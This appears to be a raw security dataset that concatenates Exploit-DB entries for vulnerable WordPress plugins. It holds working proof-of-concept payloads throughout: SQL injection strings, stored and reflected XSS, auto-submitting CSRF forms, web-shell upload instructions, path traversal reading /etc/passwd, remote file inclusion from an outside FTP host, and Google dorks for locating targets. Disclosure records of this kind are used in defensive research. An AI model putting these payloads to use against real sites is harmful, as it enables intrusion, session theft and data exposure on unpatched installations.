deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36243
Description: WordPress Plugin cp-multi-view-calendar 1.1.4 - SQL Injection
Type: webapps
Platform: php
Date: 2015-03-03
Author: i0akiN SEC-LABORATORY

Exploit:
# Exploit Title: WordPress: cp-multi-view-calendar.1.1.4  [SQL Injection
vulnerabilities]
# Date: 2015-02-28
# Google Dork: Index of /wordpress/wp-content/plugins/cp-multi-view-calendar
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Vendor Homepage: http://wordpress.dwbooster.com/
# Software Link:
https://downloads.wordpress.org/plugin/cp-multi-view-calendar.1.1.4.zip
# Version: 1.1.5
# Tested on: windows 7 ultimate + sqlmap 0.9. It's php aplication
# OWASP Top10: A1-Injection
# Mitigations: Upgrade to version 1.1.5

Greetz to Christian Uriel Mondragon Zarate

Video demo of unauthenticated user sqli explotation vulnerability :



###################################################################

ADMIN PAGE SQL INJECTION
-------------------------------------------------

http://localhost/wordpress/wp-admin/admin-ajax.php?action=ajax_add_calendar

sqlinjection in post parameter viewid

-------------------------------------------------------------------

http://localhost/wordpress/wp-admin/admin-ajax.php?action=ajax_delete_calendar

sqlinjection in post parameter id


########################################

UNAUTENTICATED SQL INJECTION
-----------------------------------------------------------------

http://localhost/wordpress/?action=data_management&cpmvc_do_action=mvparse&f=edit&id=1

sql injection in id parameter

-----------------------------------------------------------------------

http://localhost/wordpress/?action=data_management&cpmvc_do_action=mvparse&f=datafeed&method=list&calid=1

datapost viewtype=list&list_order=asc vuln variable list_order


################################################################

CROSSITE SCRIPTING VULNERABILITY
----------------------------------------------------------

http://localhost/wordpress/?action=data_management&cpmvc_do_action=mvparse&weekstartday=alert(12)&f=edit&id=1

crosite script weekstartday parameter

###################################################

==================================

time-line

26-02-2015: vulnerabilities found
27-02-2015: reported to vendor
28-02-2015: release new cp-multi-view-calendar version 1.1.4
28-02-2015: full disclousure

===================================
Exploit-DB #17755
Description: WordPress Plugin Crawl Rate Tracker 2.0.2 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-30
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Crawl Rate Tracker plugin <= 2.0.2 SQL Injection Vulnerability
# Date: 2011-08-30
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/crawlrate-tracker.2.02.zip
# Version: 2.0.2 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/crawlrate-tracker/sbtracking-chart-data.php?chart_data=1&page_url=-1' AND EXTRACTVALUE(1, CONCAT(CHAR(58),@@version,CHAR(58)))--%20

---------------
Vulnerable code
---------------
class b3_chartData extends b3_sbTrackingConfig
{
    public function tracking_bot_report_chart_data()
    {
        ...
        if($_GET['page_url'] != '')
        {
            $bots = $this->wpdb->get_results("SELECT DATE(FROM_UNIXTIME(`visit_time`)) `visit_date`,`robot_name`,COUNT(*) `total` FROM $this->sbtracking_table WHERE `visit_time` >= '$start' AND `visit_time` <= '$end' AND `page_url` = '" . $_GET['page_url'] . "' GROUP BY `visit_date`,`robot_name`");
            ...

if ($_GET['chart_data']==1) {
    ...
    $chartData = new b3_chartData();
    echo $chartData->tracking_bot_report_chart_data();
Exploit-DB #37946
Description: WordPress Plugin Crayon Syntax Highlighter - 'wp_load' Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-10-15
Author: Charlie Eriksen

Exploit:
source: https://www.securityfocus.com/bid/55919/info

The Crayon Syntax Highlighter plug-in for WordPress is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow a remote attacker to obtain sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

Crayon Syntax Highlighter 1.12.1 is vulnerable; other versions may also be affected.

http://www.example.com/wordpress/wp-content/plugins/crayon-syntax-highlighter/util/ajax.php?wp_load=ftp://192.168.80.201/wp-load.php
Exploit-DB #34922
Description: WordPress Plugin Creative Contact Form 0.9.7 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-10-08
Author: Gianni Angelozzi

Exploit:
==========================================================
"Creative Contact Form - The Best WordPress Contact Form Builder" -
Arbitrary File Upload

# Author: Gianni Angelozzi
# Date: 08/10/2014
# Remote: Yes
# Vendor Homepage: https://profiles.wordpress.org/creative-solutions-1/
# Software Link: https://wordpress.org/plugins/sexy-contact-form/
# CVE: CVE-2014-7969
# Version: all including latest 0.9.7
# Google Dork: inurl:"wp-content/plugins/sexy-contact-form"

This plugin includes a PHP script to accept file uploads that doesn't
perform any security check, thus allowing unauthenticated remote file
upload, leading to remote code execution. All versions are affected.
Uploaded files are stored with their original file name.
==========================================================
PoC
==========================================================
Trigger a file upload

<form method="POST" action="
http://TARGET/wp-content/plugins/sexy-contact-form/includes/fileupload/index.php"
enctype="multipart/form-data">
<input type="file" name="files[]" /><button>Upload</button>
</form>
Then the file is accessible under

http://TARGET/wp-content/plugins/sexy-contact-form/includes/fileupload/files/FILENAME
==========================================================
EOF


Thanks,

Gianni Angelozzi
Exploit-DB #50127
Description: WordPress Plugin Current Book 1.0.1 - 'Book Title' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-07-14
Author: Vikas Srivastava

Exploit:
# Exploit Title: WordPress Plugin Current Book 1.0.1 - 'Book Title and Author field' Stored Cross-Site Scripting (XSS)
# Date: 14/07/2021
# Exploit Author: Vikas Srivastava
# Vendor Homepage:
# Software Link: https://wordpress.org/plugins/current-book/
# Version: 1.0.1
# Category: Web Application

How to Reproduce this Vulnerability:

1. Install WordPress 5.7.2
2. Install and activate Custom Book
3. Navigate to Tools >> Current Book and enter the XSS payload into the Book and Author input field.
4. Click Update Options
5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload is executing successfully and we are getting a pop-up.
Exploit-DB #50842
Description: WordPress Plugin Curtain 1.0.2 - Cross-site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2022-03-30
Author: Hassan Khan Yusufzai

Exploit:
# Exploit Title: WordPress Plugin Curtain 1.0.2 - Cross-site Request Forgery (CSRF)
# Date: 24-03-2022
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
# Vendor Homepage: https://wordpress.org/plugins/curtain/
# Version: 1.0.2
# Tested on: Firefox

## Summary:

Cross site forgery vulnerability has been identified in curtain WordPress plugin that allows an attacker to to activate or deactivate sites maintenance mode.

## Vulnerable URL:

http://localhost:10003/wp-admin/options-general.php?page=curtain&_wpnonce=&mode=0

## CSRF POC Exploit

```
<html>
  <body>
    <form action="http://localhost:10003/wp-admin/options-general.php">
      <input type="hidden" name="page" value="curtain" />
      <input type="hidden" name="&#95;wpnonce" value="" />
      <input type="hidden" name="mode" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```
Exploit-DB #19058
Description: WordPress Plugin Custom Content Type Manager 0.9.5.13-pl - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-11
Author: Adrien Thierry

Exploit:
###########################################################
#
# Exploit Title: Wordpress Custom Content Type Manager 0.9.5.13-pl Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/custom-content-type-manager/
# Date: 11/06/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage:  http://www.fireproofsocks.com/
# Software Link: http://downloads.wordpress.org/plugin/custom-content-type-manager.0.9.5.13.zip
# Version: 0.9.5.13
#
###########################################################

Vuln page : http://mysite.com/wp-content/plugins/custom-content-type-manager/upload_form.php

exploit :

http://mysite.com/wp-content/plugins/custom-content-type-manager/upload_form.php

	-> upload your shell with image ext (jpg|png|gif)
	
shell access : http://mysite.com/wp-content/uploads/[YYYY]/[MM]/shell.php.jpg

#####################################################################
Exploit-DB #49406
Description: WordPress Plugin Custom Global Variables 1.0.5 - 'name' Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-01-11
Author: Swapnil Subhash Bodekar

Exploit:
# Exploit Title: WordPress Plugin Custom Global Variables 1.0.5 - 'name' Stored Cross-Site Scripting (XSS) 
# Google Dork: NA
# Date: 09/01/2021
# Exploit Author: Swapnil Subhash Bodekar
# Vendor Homepage:
# Software Link: https://wordpress.org/plugins/custom-global-variables/#developers
# Version: 1.0.5
# Tested on Windows

How to reproduce vulnerability:

1. Install WordPress 5.6
2. Install and activate Custom Global variables plugin.
3. Navigate to Setting >> Custom Global Variables and enter the data into the user input field.
4. Capture the request into burp suite and append the JavaScript payload which is mentioned below 
"><script>(1)</script><"
5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality in that time JavaScript payload is executing successfully and we are getting a pop-up.
Exploit-DB #17119
Description: WordPress Plugin Custom Pages 0.5.0.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-04-05
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................WordPress WP Custom Pages 0.5.0.1
Vulnerability...........Local File Inclusion
Threat Level............Critical (4/5)
Download................http://wordpress.org/extend/plugins/wp-custom-pages/
Discovery Date..........4/3/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--PoC--

http://localhost/wordpress/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
Exploit-DB #48213
Description: WordPress Plugin Custom Searchable Data System - Unauthenticated Data M]odification
Type: webapps
Platform: php
Date: 2020-03-13
Author: Nawaf Alkeraithe

Exploit:
# Exploit Title: Wordpress Plugin Custom Searchable Data System -
Unauthenticated Data modification
# Date: 13 March 2020
# Exploit Author: Nawaf Alkeraithe
# Vendor Homepage:
https://wordpress.org/plugins/custom-searchable-data-entry-system/
# Software Link:
https://wordpress.org/plugins/custom-searchable-data-entry-system/
# Version: 1.7.1

Plugin fails to perform authorization check to delete/add/edit data entries.

PoC (delete entry):
GET /wordpress/wp-admin/admin.php?page=sds-form-entries&sds-del-entry-first-entry-id=[ENTRY
ID1]&sds-del-entry-last-entry-id=[ENTRY
ID2]&sds-del-entry-table-row=wp_ghazale_sds_newtest_inputs

Note: plugin is not maintained now, either remove it, or apply the
authorization check to all actions.

Special thanks to *Wordfence and Sean Murphy!
(https://www.wordfence.com/blog/2020/03/active-attack-on-zero-day-in-custom-searchable-data-entry-system-plugin/
<https://www.wordfence.com/blog/2020/03/active-attack-on-zero-day-in-custom-searchable-data-entry-system-plugin/>)*
Exploit-DB #37482
Description: WordPress Plugin custom tables - 'key' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-07-03
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54326/info

WordPress custom tables plugin is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

custom tables 3.4.4 is vulnerable; prior versions may also be affected. 


http://www.example.com/wordpress/wp-content/plugins/custom-tables/iframe.php?s=1&key=%22%3E%3Cscript%3Ealert%28123%29%3C/script%3E
Exploit-DB #35673
Description: WordPress Plugin Daily Maui Photo Widget 0.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-28
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47620/info

The Daily Maui Photo Widget plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Daily Maui Photo Widget plugin 0.2 is vulnerable; other versions may also be affected.

http://www.example.com/wp-content/plugins/daily-maui-photo-widget/wp-dailymaui-widget-control.php?title=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E
Exploit-DB #49984
Description: WordPress Plugin Database Backups 1.2.2.6 - 'Database Backup Download' CSRF
Type: webapps
Platform: php
Date: 2021-06-11
Author: 0xB9

Exploit:
# Exploit Title: WordPress Plugin Database Backups 1.2.2.6 - 'Database Backup Download' CSRF
# Date: 2/10/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/database-backups/
# Version: 1.2.2.6
# Tested on: Windows 10
# CVE: CVE-2021-24174

1. Description:
This plugin allows admins to create and download database backups. A CSRF can create DB backups stored publicly in the uploads directory.

2. Proof of Concept:

<form action="http://localhost/wp-admin/tools.php?page=database-backups" method="post">
    <input type="hidden" name="do_backup_manually" value="1">
    <input type="submit" class="button button-primary" value="Do backup" autocomplete="off">            
</form>

Backups can be accessed by the following URL.
http://localhost/wp-content/uploads/database-backups/
Exploit-DB #35378
Description: WordPress Plugin DB Backup - Arbitrary File Download
Type: webapps
Platform: php
Date: 2014-11-26
Author: Ashiyane Digital Security Team

Exploit:
|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|
|-------------------------------------------------------------------------|
|[*] Exploit Title: Wordpress db-backup plugin File Download Vulnerability
|
|[*] Google Dork: inurl:wp-content/plugins/db-backup/
|
|[*] Date : Date: 2014-11-26
|
|[*] Exploit Author: Ashiyane Digital Security Team
|
|[*] Vendor Homepage : https://wordpress.org/plugins/wp-database-backup/
|
|[*] Plugin Link : https://downloads.wordpress.org/plugin/wp-database-backup.zip
|
|[*] Tested on: Windows 7
|
|[*] Discovered By : ACC3SS
|
|-------------------------------------------------------------------------|
|
|[*] Location :[localhost]/wp-content/plugins/db-backup/download.php?file=/etc/passwd
|
|-------------------------------------------------------------------------|
|
|
|-------------------------------------------------------------------------|
|-------------------------------------------------------------------------|
|-------------------------------------------------------------------------|
|#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#||#|
Exploit-DB #24294
Description: WordPress Plugin Developer Formatter - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-01-22
Author: Junaid Hussain

Exploit:
====================================================================================================================
# Exploit Title: Wordpress Developer Formatter CSRF Vulnerability
# Google Dork: inurl:devformatter/devformatter.php
# Date: 21/01/13
# Author: Junaid Hussain -[ illSecure Research Group ] -
# Contact: illSecResearchGroup@Gmail.com | Website: illSecure.com
# Software Link: http://wordpress.org/extend/plugins/devformatter/
# Vendor: http://wordpress.org/extend/plugins/devformatter/
# Tested on: CentOS 5  
# Version: Wordpress Version 3.5, Should work on all versions.

====================================================================================================================
[#] Vulnerable Code
Page: devinterface.php - Line: 46  
 <form method="post" action="options-general.php?page=devformatter/devformatter.php">
[#] no nonce given - Read: http://codex.wordpress.org/Function_Reference/wp_nonce_field
====================================================================================================================
// CSRF Exploit:
<html>
<body onload="javascript:document.forms[0].submit()">
<form method="post" action="http://[DOMAIN NAME]/wp-admin/options-general.php?page=devformatter/devformatter.php">
<input name="usedevformat" style="display:none;" type="checkbox" checked/> 
<input name="copyclipboartext" type="text" style="display:none;" value="&lt;/textarea&gt;<script>alert(/xss/)</script>"  />
<input name="showtools" style="display:none;" type="checkbox" checked/> 
<textarea name="devfmtcss" rows="6" cols="60" style="display:none;"> 
	  body {
  background-image: url('javascript:alert("XSS");') !important;
}
&lt;/textarea&gt;
 </form></html>
====================================================================================================================
[#] copyclipboartext & devfmtcss are both vulnerable to persistent xss which could lead to cookie stealing,
    malware distribution or even a defacememnt.
[#] Disclaimer: This exploit is for Research/Educational/Academic purposes only, 
                The Author of this exploit takes no responsibility for the way
                you use this exploit, you are responsible for your own actions.	
====================================================================================================================
Original: http://illsecure.com/code/Wordpress-DevFormatter-CSRF-Vulnerability.txt
Exploit-DB #28970
Description: WordPress Plugin Dexs PM System - (Authenticated) Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-10-15
Author: TheXero

Exploit:
===============================================================================
|                                                                             |
                         ____                     _ __
              ___  __ __/ / /__ ___ ______ ______(_) /___ __
             / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // /
            /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, /
                                                     /___/ team

                          PUBLIC SECURITY ADVISORY
|                                                                             |
===============================================================================


TITLE
=====

Dexs PM System - Authenticated Persistent Cross Site Scripting Vulnerability


AUTHOR
======

TheXero


DATE
====

10/14/2013

VENDOR
======

Sam Brishes - http://www.pytes.net/


AFFECTED PRODUCT
================

Dexs PM System Wordpress Plugin Version 1.0.1 possibly earlier


VULNERABILITY CLASS
===================

Cross-Site Scripting


DESCRIPTION
===========


Dexs PM System suffers from a persistent Cross-Site Scripting vulnerability
when sending a message as an authenticated user.  An account of at least
subscriber status is requested to exploit this vulnerability.
This vulnerability exists due to a lack of input validation and output 
sanitization of the subject paramater.


PROOF OF CONCEPT
================

Enter the following into the subject field when sending a message to another
user.

--- SNIP ---

XSS<script>alert('xss');</script>

--- SNIP ---

If the message has been sent successfully a alert diolog will apear containing 
xss when an user checks there message in the dashboard.


IMPACT
======

An attacker could potentially hijack session authentication tokes of remote
users and leverage the vulnerability to increase the attack vector to the 
underlying software and operating system of the victim.


THREAT LEVEL
============

High


STATUS
======

0day


DISCLAIMER
==========

nullsecurity.net hereby emphasize, that the information which is published here
are for education purposes only. nullsecurity.net does not take any 
responsibility for any abuse or misusage!
Exploit-DB #39592
Description: WordPress Plugin Dharma Booking 2.38.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2016-03-22
Author: AMAR^SHG

Exploit:
# Exploit Title: Wordpress Dharma booking File Inclusion

# Date: 03/22/2016

# Exploit Author: AMAR^SHG

# Vendor Homepage:https://wordpress.org/plugins/dharma-booking/

<https://webcache.googleusercontent.com/search?q=cache:1BjMckAC9HkJ:https://wordpress.org/plugins/dharma-booking/+&cd=2&hl=fr&ct=clnk&gl=fr>Software
Link : https://wordpress.org/plugins/dharma-booking/

# Version: <=2.28.3

# Tested on: WINDOWS/WAMP


dharma-booking/frontend/ajax/gateways/proccess.php's code:
<?php
include_once('../../../../../../wp-config.php');
$settings = get_option('Dharma_Vars');
echo $settings['paymentAccount']. $settings['gatewayid'];
require_once($_GET['gateway'].'.php');
//
POC:
http://localhost/wp/dharma-booking/frontend/ajax/gateways/proccess.php?gateway=LFI/RFI
http://localhost/wp/dharma-booking/frontend/ajax/gateways/proccess.php?gateway=../../../../../../etc/passwd%00
Exploit-DB #17865
Description: WordPress Plugin Disclosure Policy 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-09-19
Author: Ben Schmidt

Exploit:
# Exploit Title: Disclosure Policy Plugin Wordpress plugin RFI
# Google Dork: inurl:wp-content/plugins/disclosure-policy-plugin
# Date: 09/19/2011
# Author: Ben Schmidt (supernothing (AT) spareclockcycles.org @_supernothing)
# Software Link: http://wordpress.org/extend/plugins/disclosure-policy-plugin/download/
# Version: 1.0 (tested)

---
PoC
---
http://SERVER/WP_PATH/wp-content/plugins/disclosure-policy-plugin/functions/action.php?delete=asdf&blogUrl=asdf&abspath=RFI

---
Vulnerable Code
---
if(isset($_GET['delete']))
{
   global $wpdb, $wp_rewrite, $allowedtags, $user_ID;
        $table_prefix1 = "dpp_";

        $tags_ID = (int) $_GET['id'];
    $abspath = $_GET['abspath'];
        $blogUrl = $_GET['blog_url'];
    require_once($abspath . '/wp-config.php')